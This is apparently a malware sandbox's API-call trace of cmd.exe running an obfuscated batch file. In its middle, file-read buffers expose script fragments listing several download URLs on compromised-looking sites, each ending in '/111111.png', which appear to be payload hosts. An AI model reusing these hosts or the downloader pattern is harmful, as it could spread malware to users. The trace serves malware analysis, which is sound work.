??_V@YAXPEAX@Z () returned 0x1 [0233.308] GetProcessHeap () returned 0x20b0f920000 [0233.308] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.308] GetProcessHeap () returned 0x20b0f920000 [0233.308] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f926ea0 [0233.308] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.308] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.309] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.309] GetProcessHeap () returned 0x20b0f920000 [0233.309] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.310] SetErrorMode (uMode=0x0) returned 0x0 [0233.310] SetErrorMode (uMode=0x1) returned 0x0 [0233.310] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.310] SetErrorMode (uMode=0x0) returned 0x1 [0233.310] GetProcessHeap () returned 0x20b0f920000 [0233.310] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.310] GetProcessHeap () returned 0x20b0f920000 [0233.310] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.311] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.311] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.311] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956910 [0233.311] GetProcessHeap () returned 0x20b0f920000 [0233.311] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0233.311] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.311] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0233.311] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0233.311] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.312] GetLastError () returned 0x2 [0233.312] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.312] GetLastError () returned 0x2 [0233.312] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.312] GetLastError () returned 0x2 [0233.312] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.312] GetLastError () returned 0x2 [0233.312] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.313] GetLastError () returned 0x2 [0233.313] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.313] GetLastError () returned 0x2 [0233.313] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.313] GetLastError () returned 0x2 [0233.313] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.313] GetLastError () returned 0x2 [0233.313] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.314] GetLastError () returned 0x2 [0233.314] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.314] GetLastError () returned 0x2 [0233.314] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.370] GetLastError () returned 0x2 [0233.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.371] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.371] GetLastError () returned 0x2 [0233.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.371] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0233.371] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0233.371] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.371] GetLastError () returned 0x2 [0233.371] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.372] GetLastError () returned 0x2 [0233.372] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.372] GetLastError () returned 0x2 [0233.372] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.372] GetLastError () returned 0x2 [0233.372] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.372] GetLastError () returned 0x2 [0233.372] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.373] GetLastError () returned 0x2 [0233.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.373] GetLastError () returned 0x2 [0233.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.373] GetLastError () returned 0x2 [0233.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.373] GetLastError () returned 0x2 [0233.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.374] GetLastError () returned 0x2 [0233.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.374] GetLastError () returned 0x2 [0233.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.374] GetLastError () returned 0x2 [0233.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.374] GetLastError () returned 0x2 [0233.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.375] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.375] GetLastError () returned 0x2 [0233.375] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.375] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.375] GetLastError () returned 0x2 [0233.375] ??_V@YAXPEAX@Z () returned 0x1 [0233.375] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.376] GetFileType (hFile=0x54) returned 0x2 [0233.376] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.376] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.376] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.376] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.376] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.376] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.382] ??_V@YAXPEAX@Z () returned 0x1 [0233.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.382] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.383] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.383] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.383] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.383] SetConsoleInputExeNameW () returned 0x1 [0233.383] GetConsoleOutputCP () returned 0x1b5 [0233.384] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.384] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.384] ??_V@YAXPEAX@Z () returned 0x1 [0233.385] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.385] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.385] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.385] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15b0 [0233.385] GetProcessHeap () returned 0x20b0f920000 [0233.385] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0233.385] GetProcessHeap () returned 0x20b0f920000 [0233.385] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.385] GetProcessHeap () returned 0x20b0f920000 [0233.385] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0233.386] GetProcessHeap () returned 0x20b0f920000 [0233.386] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.387] GetProcessHeap () returned 0x20b0f920000 [0233.387] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.387] GetProcessHeap () returned 0x20b0f920000 [0233.387] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.387] GetProcessHeap () returned 0x20b0f920000 [0233.387] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.387] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.387] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15b0 [0233.387] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x205, lpOverlapped=0x0) returned 1 [0233.387] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5561, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15b9 [0233.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.388] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.388] GetFileType (hFile=0x9c) returned 0x1 [0233.388] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.388] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15b9 [0233.388] GetProcessHeap () returned 0x20b0f920000 [0233.388] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.388] GetProcessHeap () returned 0x20b0f920000 [0233.388] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.389] _tell (_FileHandle=3) returned 5561 [0233.389] _close (_FileHandle=3) returned 0 [0233.389] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.389] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.389] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.389] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5561, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15b9 [0233.389] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.389] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15b9 [0233.389] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1fc, lpOverlapped=0x0) returned 1 [0233.389] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5652, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1614 [0233.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0233.389] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.389] GetFileType (hFile=0x9c) returned 0x1 [0233.390] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.390] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1614 [0233.390] GetProcessHeap () returned 0x20b0f920000 [0233.390] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.390] GetProcessHeap () returned 0x20b0f920000 [0233.390] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.390] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0233.390] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0233.390] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0233.390] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0233.390] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0233.390] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0233.390] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0233.390] GetProcessHeap () returned 0x20b0f920000 [0233.390] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.390] GetProcessHeap () returned 0x20b0f920000 [0233.390] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.390] GetProcessHeap () returned 0x20b0f920000 [0233.391] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f9259d0 [0233.391] _tell (_FileHandle=3) returned 5652 [0233.391] _close (_FileHandle=3) returned 0 [0233.391] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.391] GetFileType (hFile=0x50) returned 0x2 [0233.391] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.391] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.391] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.399] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.399] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.399] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.399] GetFileType (hFile=0x50) returned 0x2 [0233.399] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.399] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.400] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.400] GetFileType (hFile=0x50) returned 0x2 [0233.400] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.400] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.401] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.401] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0233.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.401] GetFileType (hFile=0x50) returned 0x2 [0233.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.401] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.401] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, 